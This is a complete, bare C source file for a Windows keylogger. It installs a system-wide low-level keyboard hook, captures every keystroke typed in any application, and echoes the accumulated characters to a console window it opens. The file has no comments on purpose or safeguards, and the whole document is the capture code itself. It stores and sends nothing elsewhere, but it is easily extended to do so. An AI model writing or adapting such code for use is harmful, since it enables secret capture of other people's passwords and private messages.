#include <windows.h>

//GLOBAL VARIABLES
HANDLE myConsoleHandle;
char log[1024] = {0};

//PROTOTYPES
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam);


int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)

{
    //DECLARATIONs
    MSG message;
    HHOOK hookHandle;
    
    //MAKE CONSOLE
    AllocConsole();
    myConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);
    
    //INSTALL HOOK
    hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyHandler, hThisInstance, 0);
    //MESSAGE LOOP
    while(GetMessage(&message, NULL, 0, 0) != 0) {
    TranslateMessage( &message );
    DispatchMessage( &message );
    }
    
    return 0;
}

//CALLBACK FUNCTION
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam) {
    //DECLARATION
    DWORD cCharsWritten;

    if(nCode == HC_ACTION && wParam == WM_KEYDOWN){
        int keycode = ((KBDLLHOOKSTRUCT *)lParam)->vkCode;
        if(strlen(log) >=100) {
                       int cnt =  strlen(log);
                       for (int i=0; i<=cnt; i++){
                           log[i] = '\x00';
                           }
                           }
        log[strlen(log)] = (char)keycode;
        WriteConsole(myConsoleHandle, log, strlen(log), &cCharsWritten, NULL);
        WriteConsole(myConsoleHandle, "\n", 1, &cCharsWritten, NULL);
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}